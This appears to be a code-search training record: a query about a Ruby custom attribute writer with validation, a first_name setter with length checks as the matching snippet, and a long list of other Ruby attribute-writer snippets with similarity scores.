"def valid_attributes\n { name: \"Expert\" }\n end",
"def attributes(*method_names, **options)\n add_attributes(method_names, **options, strategy: :write_value_using_method_strategy)\n end",
"def []=(attr_name, value)\n writer_method = \"#{attr_name}=\"\n send(writer_method, value) if respond_to?(writer_method)\n end",
"def write_extended_attributes(attrs)\n attrs.each do |k, val|\n self.send((k.to_s + \"=\").to_sym, val) if is_flex_attribute?(k)\n end\n self\n end",
"def valid_attributes\n { \"username\" => \"MyString\" }\n end",
"def cattr_writer(*fields)\n metaclass.send :attr_writer, *fields\n end",
"def write_attribute(attr, value)\n if attribute_encrypted?(attr)\n conductor_for(attr).encrypt(value)\n else\n super(attr, value)\n end\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_number_value(\"offsetInDays\", @offset_in_days)\n writer.write_enum_value(\"timeBasedAttribute\", @time_based_attribute)\n end",
"def define_attribute_method(attr_name, _owner: generated_attribute_methods)\n CodeGenerator.batch(_owner, __FILE__, __LINE__) do |owner|\n attribute_method_matchers.each do |matcher|\n method_name = matcher.method_name(attr_name)\n\n unless instance_method_already_implemented?(method_name)\n generate_method = \"define_method_#{matcher.target}\"\n\n if respond_to?(generate_method, true)\n send(generate_method, attr_name.to_s, owner: owner)\n else\n define_proxy_call true, owner, method_name, matcher.target, attr_name.to_s\n end\n end\n end\n attribute_method_matchers_cache.clear\n end\n end",
"def has_attributes?; end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_boolean_value(\"isExpirationRequired\", @is_expiration_required)\n writer.write_duration_value(\"maximumDuration\", @maximum_duration)\n end",
"def add_attributes(item)\n [:class, :instance].each do |attr_loc|\n # Grab attributes for the current location (class or instance)\n attrs = item.attributes[attr_loc]\n attrs.each do |name, attribute|\n reader = attribute[:read]\n writer = attribute[:write]\n\n unless reader || writer\n Logging.warn(\"attribute is not readable or writable somehow, skipping\", attribute)\n next\n end\n\n # Get all given types\n yard_types = []\n if reader\n next if @hide_private && reader.visibility == :private\n yard_types += reader.tags('return').flat_map(&:types).compact.reject { |x| x.downcase == 'void' } +\n reader.tags('param').flat_map(&:types)\n end\n if writer\n next if @hide_private && writer.visibility == :private\n yard_types += writer.tags('return').flat_map(&:types).compact.reject { |x| x.downcase == 'void' } +\n writer.tags('param').flat_map(&:types)\n end\n\n # Use untyped if not types specified anywhere, otherwise try to\n # compute Parlour type given all these types\n if yard_types.empty?\n Logging.omit(\"no YARD type given for #{name.inspect}, using untyped\", reader || writer)\n parlour_type = Parlour::Types::Untyped.new\n elsif yard_types.all? { |x| x == 'nil' }\n # Nil attributes are extremely unusual, so just use untyped\n parlour_type = Parlour::Types::Untyped.new\n else\n parlour_type = TypeConverter.yard_to_parlour(\n yard_types, reader || writer, @type_converter_config)\n end\n\n # Generate attribute\n if reader && writer\n kind = :accessor\n elsif reader\n kind = :reader\n elsif writer\n kind = :writer\n end\n\n if @exclude_untyped && parlour_type.is_a?(Parlour::Types::Untyped)\n Logging.omit(\"excluding untyped attribute\", reader || writer, immediate: true)\n next\n end\n\n case @mode\n when :rbi\n @current_object.create_attribute(\n name.to_s,\n kind: kind,\n type: parlour_type,\n class_attribute: (attr_loc == :class)\n ) do |m|\n add_comments(reader || writer, m)\n end\n when :rbs\n if attr_loc == :class\n # RBS doesn't support class attr_accessors so create individual methods\n\n if reader\n @current_object.create_method(\n name.to_s,\n [Parlour::RbsGenerator::MethodSignature.new([], parlour_type)],\n class_method: true\n ) do |m|\n add_comments(reader, m)\n end\n end\n\n if writer\n @current_object.create_method(\n \"#{name}=\",\n [Parlour::RbsGenerator::MethodSignature.new([Parlour::RbsGenerator::Parameter.new(\n \"value\",\n type: parlour_type,\n required: true\n )], parlour_type)],\n class_method: true\n ) do |m|\n add_comments(writer, m)\n end\n end\n else\n @current_object.create_attribute(\n name.to_s,\n kind: kind,\n type: parlour_type,\n ) do |m|\n add_comments(reader || writer, m)\n end\n end\n end\n end\n end\n end",
"def []=(attr_name, value)\r\n if attr_name.is_a?(String) and attr_name != attr_name.split(ID_SEP).first\r\n attr_name = attr_name.split(ID_SEP)\r\n end\r\n\r\n if attr_name.is_a? Array\r\n value = value.split(ID_SEP) if value.is_a? String\r\n unless value.length == attr_name.length\r\n raise \"Number of attr_names and values do not match\"\r\n end\r\n #breakpoint\r\n [attr_name, value].transpose.map {|name,val| write_attribute(name.to_s, val)}\r\n else\r\n write_attribute(attr_name, value)\r\n end\r\n end",
"def attr(symbol, writable=false) end",
"def define_writer!(k, definition)\n define_method(\"#{k}=\") do |value|\n # Recursively convert hash and array of hash to schematized objects\n value = ensure_schema value, definition[:schema]\n\n # Initial value\n instance_variable_set \"@#{k}\", value\n\n # Dirty tracking\n self.changed_attributes ||= Set.new\n self.changed_attributes << k\n end\n end",
"def validate\n validate_string_attributes\n end",
"def write_attribute_with_dynamo(field_name, value)\n if is_dynamo_field?(field_name)\n # Store these guys for now. We don't actually save the field value until the model is saved ( i.e my_supplier.save ).\n # If we were to save the field_value now we wouldn't be able to know the id of the model to link this value to it.\n # @see delay_save\n @all_fields_and_values ||= []\n @all_fields_and_values << {:dynamo_field=>cached_dynamo_field_by_name(field_name), :value=>value}\n end\n # If its a 'normal' attribute let rails write it in the usual way.\n write_attribute_without_dynamo(field_name, value)\n end",
"def define_attr_accessor(attr)\n attr_accessor(attr)\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n writer.write_collection_of_object_values(\"attributeMappings\", @attribute_mappings)\n writer.write_boolean_value(\"enabled\", @enabled)\n writer.write_enum_value(\"flowTypes\", @flow_types)\n writer.write_collection_of_object_values(\"metadata\", @metadata)\n writer.write_string_value(\"name\", @name)\n writer.write_string_value(\"@odata.type\", @odata_type)\n writer.write_object_value(\"scope\", @scope)\n writer.write_string_value(\"sourceObjectName\", @source_object_name)\n writer.write_string_value(\"targetObjectName\", @target_object_name)\n writer.write_additional_data(@additional_data)\n end",
"def validate_attribute_syntax\n\t\[email protected] do |attribute, values|\n\t\t\t[ values ].flatten.each do |value|\n\t\t\t\tbegin\n\t\t\t\t\tself.get_converted_attribute( attribute.to_sym, value )\n\t\t\t\trescue => err\n\t\t\t\t\tself.log.error \"validation for %p failed: %s: %s\" %\n\t\t\t\t\t\t[ attribute, err.class.name, err.message ]\n\t\t\t\t\tattrtype = self.find_attribute_type( attribute )\n\t\t\t\t\tself.errors.add( attribute, \"isn't a valid %s value\" %\n\t\t\t\t\t\t[ attrtype.syntax ? attrtype.syntax.desc : attrtype.syntax_oid ] )\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend",
"def valid_attributes\n { }\n end",
"def validatable_attributes(atts, opts)\n am, an, ab, m = opts.values_at(:allow_missing, :allow_nil, :allow_blank, :message)\n Array(atts).each do |a|\n next if am && !values.has_key?(a)\n v = send(a)\n next if an && v.nil?\n next if ab && v.respond_to?(:blank?) && v.blank?\n if message = yield(a, v, m)\n errors.add(a, message)\n end\n end\n end",
"def valid_attributes\n { }\n end",
"def valid_attributes\n { }\n end",
"def attribute_name=(_arg0); end",
"def attribute_name=(_arg0); end",
"def attribute_name=(_arg0); end",
"def require_attr(name)\n send(name).tap do |_|\n raise \"Attribute must be set: #{name}\" if _.nil?\n end\n end",
"def write_attributes(attributes)\n _attributes = attributes.select do |name, value|\n if self.is_dynamic_field?(name)\n self.dynamic_setter(name, value)\n false\n else\n true\n end\n end\n\n super(_attributes)\n end",
"def attribute; end",
"def attribute; end"
] | [
"0.6472992",
"0.6315012",
"0.6315012",
"0.62821025",
"0.6279224",
"0.6211609",
"0.61891466",
"0.6182247",
"0.60683644",
"0.6032628",
"0.5995443",
"0.5988785",
"0.5959885",
"0.5938289",
"0.5931089",
"0.58951056",
"0.5859927",
"0.5851703",
"0.58493423",
"0.58465594",
"0.58328366",
"0.5823013",
"0.5822229",
"0.57850474",
"0.5701491",
"0.5696689",
"0.5682951",
"0.5678094",
"0.566814",
"0.5657499",
"0.56555206",
"0.5642589",
"0.56219065",
"0.5615893",
"0.56105876",
"0.559851",
"0.5598089",
"0.55940455",
"0.5585137",
"0.55848545",
"0.55796933",
"0.5571477",
"0.5567006",
"0.55667996",
"0.55652434",
"0.5562926",
"0.55600035",
"0.55590326",
"0.55590326",
"0.5554599",
"0.5554599",
"0.55407417",
"0.5534935",
"0.5527733",
"0.55271375",
"0.55238813",
"0.5501504",
"0.5497003",
"0.5496233",
"0.54927665",
"0.5464706",
"0.54617554",
"0.5461167",
"0.5451583",
"0.54498726",
"0.54498726",
"0.54359984",
"0.5430996",
"0.5430996",
"0.5426488",
"0.5418467",
"0.54153895",
"0.54107565",
"0.5407886",
"0.5401234",
"0.54008496",
"0.5400268",
"0.53910094",
"0.53827274",
"0.5377731",
"0.5375473",
"0.5374833",
"0.53720397",
"0.5370215",
"0.5363264",
"0.5361161",
"0.5360557",
"0.5351706",
"0.53514725",
"0.53492516",
"0.53459316",
"0.5341237",
"0.5328037",
"0.5328037",
"0.53230566",
"0.53230566",
"0.53230566",
"0.5319575",
"0.531832",
"0.5315559",
"0.5315559"
] | 0.0 | -1 |
Custom attribute writer method with validation | def first_name=(first_name)
if first_name.nil?
fail ArgumentError, "first_name cannot be nil"
end
if first_name.to_s.length > 30
fail ArgumentError, "invalid value for 'first_name', the character length must be smaller than or equal to 30."
end
@first_name = first_name
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def attr_writer_tag(text); end",
"def allowed_attributes=(_arg0); end",
"def allowed_attributes=(_arg0); end",
"def writer(*args)\n attr_writer(*args)\n args\n end",
"def define_write_method(attr_name)\n evaluate_attribute_method attr_name, \"def #{attr_name}=(new_value);write_attribute('#{attr_name}', new_value);end\", \"#{attr_name}=\"\n end",
"def attr_writer(*vars)\n # avoid tracking attributes that are added by the class_attribute\n # as these are class attributes and not instance attributes.\n tracked_vars = vars.reject {|var| respond_to? var }\n add_tracked_attrs(false, true, *tracked_vars)\n vars.extract_options!\n super\n end",
"def attr_writer(sym, *more) end",
"def is_attribute?; end",
"def validate_exclusion_of(attr); end",
"def register_attributes\n raise \"Not implemented in #{self.class}\"\n end",
"def method_missing(method_name, *args)\n return super unless permitted_attributes.include?(method_name)\n begin\n object.send(:\"#{method_name}=\", args.first)\n rescue => e\n if params.has_key?(method_name)\n message = \"Unable to process value for :#{method_name}, no attribute writer. Be sure to override the automatic setters for all params that do not map straight to a model attribute.\"\n Rails.logger.warn({message: message,\n missing_writer: method_name,\n value: args.first,\n error: e})\n self.errors << {status: 422, message: message}\n else\n raise e\n end\n end\n end",
"def timeliness_validation_for(attr_names, type)\n super\n attr_names.each { |attr_name| define_timeliness_write_method(attr_name) }\n end",
"def create_setter_for(attribute, options)\n setter_method = \"#{attribute}=\"\n\n define_method setter_method do |value|\n if options[:allow_blank] || value != \"\"\n write_attribute(attribute, value)\n end\n end\n end",
"def attr_internal_writer(*attrs)\n attrs.each {|attr_name| attr_internal_define(attr_name, :writer)}\n end",
"def escape_attr input\n escape input, attr_regexp, attr_mapping\n end",
"def make_writer( attrtype )\n\t\tself.log.debug \"Generating an attribute writer for %p\" % [ attrtype ]\n\t\tattrname = attrtype.name\n\t\tif attrtype.single?\n\t\t\tself.log.debug \" attribute is SINGLE, so generating a scalar writer...\"\n\t\t\treturn lambda {|newvalue| self[attrname] = newvalue }\n\t\telse\n\t\t\tself.log.debug \" attribute isn't SINGLE, so generating an array writer...\"\n\t\t\treturn lambda {|*newvalues| self[attrname] = newvalues.flatten }\n\t\tend\n\tend",
"def write_attribute(name, value)\n # Simply check if the accessor is allowed to write the field\n # (if so, go to superclass and do it)\n @bypass_auth ||= false\n if allowed_to_write(name) || @bypass_auth\n super(name, value)\n end\n end",
"def mattr_writer(*syms, &proc)\n receiver = self\n options = syms.extract_options!\n syms.each do |sym|\n raise NameError.new('invalid attribute name') unless sym =~ /^[_A-Za-z]\\w*$/\n class_exec do\n define_singleton_method \"#{sym}=\" do |obj|\n class_variable_set(\"@@#{sym}\", obj)\n end\n end\n\n unless options[:instance_writer] == false || options[:instance_accessor] == false\n class_exec do\n define_method \"#{sym}=\" do |obj|\n receiver.class_variable_set(\"@@#{sym}\", obj)\n end\n end\n end\n send(\"#{sym}=\", proc.call) if proc\n end\n end",
"def write_attribute(attribute, value)\n false\n end",
"def add_attribute attribute\n return attribute unless @document_self\n\n # mainly to check for redefinition of an attribute as a method\n # TODO find a policy for 'attr_reader :foo' + 'def foo=()'\n register = false\n\n key = nil\n\n if attribute.rw.index 'R' then\n key = attribute.pretty_name\n known = @methods_hash[key]\n\n if known then\n known.comment = attribute.comment if known.comment.empty?\n elsif registered = @methods_hash[attribute.pretty_name + '='] and\n RDoc::Attr === registered then\n registered.rw = 'RW'\n else\n @methods_hash[key] = attribute\n register = true\n end\n end\n\n if attribute.rw.index 'W' then\n key = attribute.pretty_name + '='\n known = @methods_hash[key]\n\n if known then\n known.comment = attribute.comment if known.comment.empty?\n elsif registered = @methods_hash[attribute.pretty_name] and\n RDoc::Attr === registered then\n registered.rw = 'RW'\n else\n @methods_hash[key] = attribute\n register = true\n end\n end\n\n if register then\n attribute.visibility = @visibility\n add_to @attributes, attribute\n resolve_aliases attribute\n end\n\n attribute\n end",
"def define_writer_method(mod)\n writer_method_name = \"#{name}=\"\n attribute = self\n\n mod.send(:define_method, writer_method_name) { |value| attribute.set(self, value) }\n mod.send(writer_visibility, writer_method_name)\n\n self\n end",
"def allowed_to_write(name)\n # no point allowing attribute writes if we can't save them?\n if allowed_to_save\n name = name.to_s\n validation_methods = self.class.write_validations(name) \n if validation_methods.nil?\n # We haven't registered any filters on this attribute, so allow the write.\n true\n elsif validation_methods.check :accessor => accessor, :model => self\n # One of the authentication methods worked, so allow the write.\n true\n else\n # We had filters but none of them passed. Disallow write.\n false\n end\n else\n false\n end\n end",
"def assert_attr_writer(obj, method)\n assert_respond_to obj, \"#{method}=\"\nend",
"def add_attribute(name, &block); end",
"def authenticates_writes_to(attr, options={})\n authenticates_access\n @write_validation_map ||= {}\n @write_validation_map[attr.to_s] ||= AuthMethodList.new\n @write_validation_map[attr.to_s].add_method(options)\n end",
"def write_attribute_3(param1, param2)\n\twrite_attribute(param1, param2)\n end",
"def write_attribute(attr_name, value) #:doc:\n @attributes[attr_name] = empty_string_for_number_column?(attr_name, value) ? nil : value\n end",
"def add_writer_tags(klass, new_method, member)\n member_tag = member_tag_for_member(klass, member, :write)\n return_type = return_type_from_tag(member_tag)\n setter_doc_text = member_tag ? member_tag.text : \"Sets the attribute #{member}\"\n new_method.docstring.replace(setter_doc_text)\n new_method.add_tag YARD::Tags::Tag.new(:param, \"the value to set the attribute #{member} to.\", return_type, \"value\")\n new_method.add_tag YARD::Tags::Tag.new(:return, \"the newly set value\", return_type)\n end",
"def print_attribute(*) end",
"def add_checked_attribute(clazz, attribute)\r\n eval <<END\r\n class #{clazz}\r\n\r\n def #{attribute}=(value)\r\n raise 'Invalid attribute' unless value\r\n @#{attribute}=value\r\n end\r\n\r\n def #{attribute}\r\n #{attribute}\r\n end\r\n end\r\nEND\r\nend",
"def attribute(name); end",
"def attr(name); end",
"def is_attribute?(line)\n (line =~ /(\\s+)attr_(writer|reader|accessor)\\s+:[a-zA-Z_0-9]+/) == 0\n end",
"def attribute(name, value)\n\t if !@inStartTag\n\t\traise WriterError.new('attribute outside of tag start')\n\t end\n\t @io << \" #{name}=\\\"#{NQXML.encode(value.to_s)}\\\"\"\n\tend",
"def set_attribute(name, value); end",
"def validated_attribute_names(params); end",
"def dataset_writer(*attributes)\n attributes.flatten.each do |attr_name|\n next if method_defined?(\"#{attr_name}=\")\n\n class_eval <<-RUBY, __FILE__, __LINE__ + 1\n def #{attr_name}=(value)\n dataset_set(:#{attr_name}, value)\n end\n RUBY\n end\n end",
"def require_format_of(attribute)\r\n RequireFormatOf.new(attribute)\r\n end",
"def html_attr(*attrs)\n options = attrs.extract_options!.reverse_merge({\n :level => :super_relaxed\n })\n attrs.each do |att|\n class_eval \"def #{att}=(val); self[:#{att}] = sanitize(val, :#{options[:level]}); end\"\n end\n end",
"def attr_writer(*fields)\n check_fields(fields)\n added_fields = jiak.data.writable(*fields)\n added_fields.each do |field|\n class_eval <<-EOM\n def #{field}=(val)\n @jiak.object.data.#{field} = val\n self.class.do_auto_update(self)\n end\n EOM\n end\n nil\n end",
"def validate_attributes=(new_attribute)\n @validate_attributes = new_attribute\n end",
"def html_attributes(attr); end",
"def valid_xml_attribute(name, options={:level => :warning})\n\t\t\t\tvalidate(\"Invalid XML attribute '#{name}'\", options) { name.to_s.match(/^([^[:punct:]0-9<>]|_)[^<>\"']*/) }\n\t\t\tend",
"def instance_write(attr, value)\n setter = :\"#{@name_string}_#{attr}=\"\n instance.send(setter, value) if instance.respond_to?(setter)\n end",
"def attr_writer(*args)\n sym_args=args_to_sym(args)\n sym_args.each do |value|\n self.instance_eval(\"def #{value}=(arg); @#{value}=arg;end;\")\n end\n \n end",
"def define_writer_method(attribute, method_name, visibility)\n define_method(method_name) { |value| attribute.set(self, value) }\n send(visibility, method_name)\n self\n end",
"def valid_attributes\n { \"name\" => \"MyString\" }\n end",
"def valid_attributes\n { \"name\" => \"MyString\" }\n end",
"def write_attribute(name, val)\n if @embedded_models.include? name\n @embedded_models[name].model = val\n elsif @attribute_objects.include? name\n @attribute_objects[name].value = val\n else\n return false\n end\n\n run_callbacks :attribute_change\n end",
"def valid_attributes\n { body: \"blah\",\n rule_text: 'Something',\n change_description: \"blaa\"}\n end",
"def valid_attributes\n { body: \"blah\",\n rule_text: 'Something',\n change_description: \"blaa\"}\n end",
"def attr; end",
"def attribute(*args)\n define_expressions(Attribute, args)\n end",
"def define_magic_attr(name)\n define_method name do |*attrs|\n raise ArgumentError.new(\"wrong number of arguments\") if attrs.size > 1\n send(\"#{name}=\", attrs.first) if attrs.size == 1\n instance_variable_get(\"@#{name}\")\n end\n\n attr_writer name\n end",
"def write_attribute(name, value)\n name = name.to_s\n\n # The attribute already has an unsaved change.\n if attribute_changed?(name)\n old = changed_attributes[name]\n changed_attributes.delete(name) unless field_changed?(name, old, value)\n else\n attribute_will_change(name) if field_changed?(name, old, value)\n end\n\n # Carry on.\n super(name, value)\n end",
"def configurable_writer(attribute, code=nil, &block)\n if block_given? and not code\n Halcyon.class.send(:define_method, :\"#{attribute}=\", block)\n elsif code and not block_given?\n Halcyon.class.send(:eval, <<-\"end;\")\n def #{attribute.to_s}=(value)\n #{code % [attribute.to_sym.inspect]}\n end\n end;\n else\n raise ArgumentError.new(\"Either a block or a code string should be supplied.\")\n end\n end",
"def method_missing(name, *args, &block)\n if /\\Ahas_validated_(?<type>\\w*)_attribute\\Z/ =~ name\n has_validated_attribute(type, *args, &block)\n else\n super\n end\n end",
"def add_checked_attribute(klass, attribute)\n klass.class_eval do\n define_method attribute do\n instance_variable_get(\"@#{attribute}\")\n end\n\n define_method \"#{attribute}=\" do |value|\n raise 'Invalid attribute' unless value\n \n instance_variable_set(\"@#{attribute}\", value)\n end\n end\nend",
"def method_missing(meth, *args, &blk)\n match = meth.to_s.match(/^([a-zA-Z\\_]+)(=|$)$/)\n if match\n attribute, setter = match[1], !match[2].blank?\n if setter\n write_attribute(attribute, args.first)\n else\n read_attribute(attribute)\n end\n else\n super(meth, *args, &blk)\n end\n end",
"def valid_attributes\n { name: 'do this' }\n end",
"def make_attributes_definitions_or_croak(attrArgs, &attrBlok)\n eye = :'m_attrs_defs'\n\n # Work with attribute as strings\n \n $DEBUG && logger_me(eye, logger_fmt_kls(:attrArgs => attrArgs, :attrBlok => attrBlok))\n\n mustbe_attributes_specification_or_croak(attrArgs, eye, \"attrArgs not attributes_specification\")\n \n #STOPATTRARGSINSUPER\n \n #attrAll = mustbe_not_empty_or_croak(mustbe_array_key_or_nil_or_croak(attrArgs, :all, eye, \"all attributes not array\"), eye, \"all attributes is empty\").map(&:to_s)\n attrAll = mustbe_not_empty_or_croak(mustbe_attributes_specification_all_key_or_croak(attrArgs, :all, eye), eye, \"all attributes is empty\").map(&:to_s)\n \n\n #puts(\"\\n\\n\\nATTR ALL >#{attrAll}<\")\n\n #STOPMAKEATTRSPECSENTRY\n\n attrInc = mustbe_attributes_specification_include_key_or_nil_or_croak(attrArgs, :include, eye) # mustbe all strings\n #puts(\"ATTR INC >#{attrInc.class}< >#{attrInc}< >#{is_value_not_empty?(attrInc)}<\")\n attrInc && mustbe_not_empty_or_croak(attrInc, eye, \"include attributes is empty\")\n\n attrExc = mustbe_attributes_specification_exclude_key_or_nil_or_croak(attrArgs, :exclude, eye) || []\n \n attrMapNom = mustbe_attributes_definitions_key_or_nil_or_croak(attrArgs, :definitions, eye) || {}\n attrMap = attrMapNom && potrubi_util_map_hash_kv(attrMapNom) {|k,v| [k.to_s, v]} # keys all strings\n\n # Ensure all consistent\n \n attrInc && mustbe_subset_or_croak(attrInc, attrAll, eye, \"include attributes contains unknown attributes\")\n mustbe_subset_or_croak(attrExc, attrAll, eye, \"exclude attributes contains unknown attributes\")\n mustbe_subset_or_croak(attrMap.keys, attrAll, eye, \"attribute map contains unknown attributes\")\n \n attrUse = ((attrInc || attrAll) - attrExc).uniq # list of unique attributes to report on\n\n # consolidate \"faked up\" attr specs with ones provided to get the composite attrSpecs\n \n attrDefsNom = potrubi_util_array_to_hash(attrUse).merge(attrMap.select {|k,v| attrUse.include?(k)}) # consolidated \"faked up\" attr specs with ones provided\n\n attrDefs = potrubi_util_map_hash_v(attrDefsNom) do | attrName, attrSpecNom|\n\n attrSpec =\n case attrSpecNom\n when NilClass then {}\n when Hash then\n attrSpecNom.each_with_object({}) do | (verbName, verbSpec), h1 |\n case verbName\n when :pass_thru then h1[:pass_thru] = verbSpec # dont touch; just pass through\n when :event_defaults then # add these to pass_thru\n h1[:pass_thru] = (h1[:pass_thru] || {}).merge(verbName => verbSpec)\n when :map, :select, :metric then\n h1[verbName] = {\n :method_name => \"#{verbName}_#{attrName}_#{rand(1000000)}\", # make a unqiue name\n :method_spec => verbSpec # spec must be valid to dynamic_define_methods\n }\n else\n logic_exception(verbName, eye, \"attrName >#{attrName}< verbName >#{verbName}< value should be impossible\")\n end\n end\n \n else\n logic_exception(attrrSpecNom, eye, \"attrSpecNom value should be impossible\")\n end\n\n attrSpec\n \n end\n \n $DEBUG && logger_mx(eye, logger_fmt_kls(:attrDefs => attrDefs))\n\n mustbe_attributes_definitions_or_croak(attrDefs, eye, \"attrDefs failed contract\")\n\n #STOPMAKEATTRSPECS\n \n end",
"def create_setter!\n @target.class_eval <<-EOS\n #{writer_visibility.to_s}\n def #{name}=(value)\n attribute_set(#{name.inspect}, value)\n end\n EOS\n rescue SyntaxError\n raise SyntaxError.new(column)\n end",
"def create_writer(klass, member)\n # We want to convert these members into attributes just like\n # as if they were declared using attr_accessor.\n new_meth = register MethodObject.new(klass, \"#{member}=\", :instance) do |o|\n o.parameters = [['value', nil]]\n o.signature ||= \"def #{member}=(value)\"\n o.source ||= \"#{o.signature}\\n @#{member} = value\\nend\"\n end\n add_writer_tags(klass, new_meth, member)\n klass.attributes[:instance][member][:write] = new_meth\n end",
"def attribute name, type, conditions= DEFAULT_ATTRIBUTE_CONDITIONS\n RMOF.complete_conditions conditions, DEFAULT_ATTRIBUTE_CONDITIONS\n @attributes= {} unless instance_variable_defined? :@attributes\n @attributes[name]= [name, type, conditions]\n unless method_defined? :__attributes then \n define_method( :__attributes) do \n @attributes\n end \n end\n at= \"@#{name}\".to_sym\n getter= \"#{name}\".to_sym\n setter= \"#{name}=\".to_sym\n completion= \"__complete_#{name}\".to_sym\n define_method( getter) do\n if instance_variable_defined? at then instance_variable_get at\n else conditions[:default]\n end\n end\n define_method( setter) do |val|\n instance_variable_set at, val\n end\n define_method( completion) do\n RMOF.validate( self.send(getter), name, type, conditions)\n end\n end",
"def attr_internal_writer(*attrs)\n attrs.each do |attr|\n module_eval \"def #{attr}=(v) #{attr_internal_ivar_name(attr)} = v end\"\n end\n end",
"def attr_internal_writer(*attrs)\n attrs.each do |attr|\n module_eval \"def #{attr}=(v) #{attr_internal_ivar_name(attr)} = v end\"\n end\n end",
"def create_setter(name, meth)\n define_method(\"#{meth}=\") do |value|\n write_attribute(name, value)\n end\n end",
"def sanitized_allowed_attributes=(attributes); end",
"def sanitized_allowed_attributes=(attributes); end",
"def oattr(name, type)\n case type\n when :custom\n # Do nothing, just register attr below.\n when :writer\n attr_writer name\n else\n raise ArgumentError, \"Unknown type: #{type.inspect}\"\n end\n\n # Register and return.\n name.tap { oattrs << name}\n end",
"def valid_attributes\n { name: \"Expert\" }\n end",
"def attributes(*method_names, **options)\n add_attributes(method_names, **options, strategy: :write_value_using_method_strategy)\n end",
"def []=(attr_name, value)\n writer_method = \"#{attr_name}=\"\n send(writer_method, value) if respond_to?(writer_method)\n end",
"def write_extended_attributes(attrs)\n attrs.each do |k, val|\n self.send((k.to_s + \"=\").to_sym, val) if is_flex_attribute?(k)\n end\n self\n end",
"def valid_attributes\n { \"username\" => \"MyString\" }\n end",
"def cattr_writer(*fields)\n metaclass.send :attr_writer, *fields\n end",
"def write_attribute(attr, value)\n if attribute_encrypted?(attr)\n conductor_for(attr).encrypt(value)\n else\n super(attr, value)\n end\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_number_value(\"offsetInDays\", @offset_in_days)\n writer.write_enum_value(\"timeBasedAttribute\", @time_based_attribute)\n end",
"def define_attribute_method(attr_name, _owner: generated_attribute_methods)\n CodeGenerator.batch(_owner, __FILE__, __LINE__) do |owner|\n attribute_method_matchers.each do |matcher|\n method_name = matcher.method_name(attr_name)\n\n unless instance_method_already_implemented?(method_name)\n generate_method = \"define_method_#{matcher.target}\"\n\n if respond_to?(generate_method, true)\n send(generate_method, attr_name.to_s, owner: owner)\n else\n define_proxy_call true, owner, method_name, matcher.target, attr_name.to_s\n end\n end\n end\n attribute_method_matchers_cache.clear\n end\n end",
"def has_attributes?; end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_boolean_value(\"isExpirationRequired\", @is_expiration_required)\n writer.write_duration_value(\"maximumDuration\", @maximum_duration)\n end",
"def add_attributes(item)\n [:class, :instance].each do |attr_loc|\n # Grab attributes for the current location (class or instance)\n attrs = item.attributes[attr_loc]\n attrs.each do |name, attribute|\n reader = attribute[:read]\n writer = attribute[:write]\n\n unless reader || writer\n Logging.warn(\"attribute is not readable or writable somehow, skipping\", attribute)\n next\n end\n\n # Get all given types\n yard_types = []\n if reader\n next if @hide_private && reader.visibility == :private\n yard_types += reader.tags('return').flat_map(&:types).compact.reject { |x| x.downcase == 'void' } +\n reader.tags('param').flat_map(&:types)\n end\n if writer\n next if @hide_private && writer.visibility == :private\n yard_types += writer.tags('return').flat_map(&:types).compact.reject { |x| x.downcase == 'void' } +\n writer.tags('param').flat_map(&:types)\n end\n\n # Use untyped if not types specified anywhere, otherwise try to\n # compute Parlour type given all these types\n if yard_types.empty?\n Logging.omit(\"no YARD type given for #{name.inspect}, using untyped\", reader || writer)\n parlour_type = Parlour::Types::Untyped.new\n elsif yard_types.all? { |x| x == 'nil' }\n # Nil attributes are extremely unusual, so just use untyped\n parlour_type = Parlour::Types::Untyped.new\n else\n parlour_type = TypeConverter.yard_to_parlour(\n yard_types, reader || writer, @type_converter_config)\n end\n\n # Generate attribute\n if reader && writer\n kind = :accessor\n elsif reader\n kind = :reader\n elsif writer\n kind = :writer\n end\n\n if @exclude_untyped && parlour_type.is_a?(Parlour::Types::Untyped)\n Logging.omit(\"excluding untyped attribute\", reader || writer, immediate: true)\n next\n end\n\n case @mode\n when :rbi\n @current_object.create_attribute(\n name.to_s,\n kind: kind,\n type: parlour_type,\n class_attribute: (attr_loc == :class)\n ) do |m|\n add_comments(reader || writer, m)\n end\n when :rbs\n if attr_loc == :class\n # RBS doesn't support class attr_accessors so create individual methods\n\n if reader\n @current_object.create_method(\n name.to_s,\n [Parlour::RbsGenerator::MethodSignature.new([], parlour_type)],\n class_method: true\n ) do |m|\n add_comments(reader, m)\n end\n end\n\n if writer\n @current_object.create_method(\n \"#{name}=\",\n [Parlour::RbsGenerator::MethodSignature.new([Parlour::RbsGenerator::Parameter.new(\n \"value\",\n type: parlour_type,\n required: true\n )], parlour_type)],\n class_method: true\n ) do |m|\n add_comments(writer, m)\n end\n end\n else\n @current_object.create_attribute(\n name.to_s,\n kind: kind,\n type: parlour_type,\n ) do |m|\n add_comments(reader || writer, m)\n end\n end\n end\n end\n end\n end",
"def []=(attr_name, value)\r\n if attr_name.is_a?(String) and attr_name != attr_name.split(ID_SEP).first\r\n attr_name = attr_name.split(ID_SEP)\r\n end\r\n\r\n if attr_name.is_a? Array\r\n value = value.split(ID_SEP) if value.is_a? String\r\n unless value.length == attr_name.length\r\n raise \"Number of attr_names and values do not match\"\r\n end\r\n #breakpoint\r\n [attr_name, value].transpose.map {|name,val| write_attribute(name.to_s, val)}\r\n else\r\n write_attribute(attr_name, value)\r\n end\r\n end",
"def attr(symbol, writable=false) end",
"def validate\n validate_string_attributes\n end",
"def define_writer!(k, definition)\n define_method(\"#{k}=\") do |value|\n # Recursively convert hash and array of hash to schematized objects\n value = ensure_schema value, definition[:schema]\n\n # Initial value\n instance_variable_set \"@#{k}\", value\n\n # Dirty tracking\n self.changed_attributes ||= Set.new\n self.changed_attributes << k\n end\n end",
